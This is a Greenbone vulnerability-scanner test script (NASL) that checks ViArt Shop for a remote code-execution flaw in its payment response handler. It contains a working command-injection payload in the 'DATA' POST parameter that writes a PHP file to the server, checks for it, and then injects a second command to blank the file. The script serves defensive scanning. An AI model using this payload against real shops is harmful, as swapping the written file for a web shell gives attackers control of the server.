ViArt Shop RCE Vulnerability

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:viart:viart_shop";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103578");
  script_version("2024-06-28T05:05:33+0000");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_name("ViArt Shop RCE Vulnerability");

  script_xref(name:"URL", value:"http://www.viart.com/downloads/sips_response.zip");
  script_xref(name:"URL", value:"http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5109.php");

  script_tag(name:"last_modification", value:"2024-06-28 05:05:33 +0000 (Fri, 28 Jun 2024)");
  script_tag(name:"creation_date", value:"2012-09-26 10:51:47 +0200 (Wed, 26 Sep 2012)");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_family("Web application abuses");
  script_tag(name:"solution_type", value:"VendorFix");
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_dependencies("gb_viart_shop_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("viart_shop/installed");

  script_tag(name:"solution", value:"Updates are available. Please see the references for more information.");

  script_tag(name:"summary", value:"ViArt Shop is prone to a remote code-execution vulnerability.");

  script_tag(name:"insight", value:"Input passed to the 'DATA' POST parameter in 'sips_response.php'
  is not properly sanitised before being used to process product payment
  data. This can be exploited to execute arbitrary commands via specially crafted requests.");

  script_tag(name:"affected", value:"Affected version: 4.1, 4.0.8, 4.0.5");

  exit(0);
}

include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");
include("misc_func.inc");

if(!port = get_app_port(cpe:CPE))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

function exploit(ex, file) {

  url = dir + '/payments/sips_response.php';
  len = strlen(ex);

  host = http_host_name(port:port);

  req = string("POST ", url, " HTTP/1.1\r\n",
               "Host: ", host, "\r\n",
               "Content-Type: application/x-www-form-urlencoded\r\n",
               "Content-Length: ",len,"\r\n",
               "\r\n",
               ex);
  result = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);

  url = dir + '/payments/' + file;
  req = http_get(item:url, port:port);
  buf = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);

  if("<title>phpinfo()" >< buf) {
    ex = "DATA=..%2F..%2F..%2F..%2F..%2F;echo '' > ./" + file; # clean up...
    exploit(ex:ex);
    security_message(port:port);
    exit(0);
  }
}

vtstrings = get_vt_strings();
file = vtstrings["lowercase_rand"] + ".php";
ex = "DATA=..%2F..%2F..%2F..%2F..%2F;echo '<?php phpinfo(); ?>' > ./" + file;

exploit(ex:ex, file:file);

exit(0);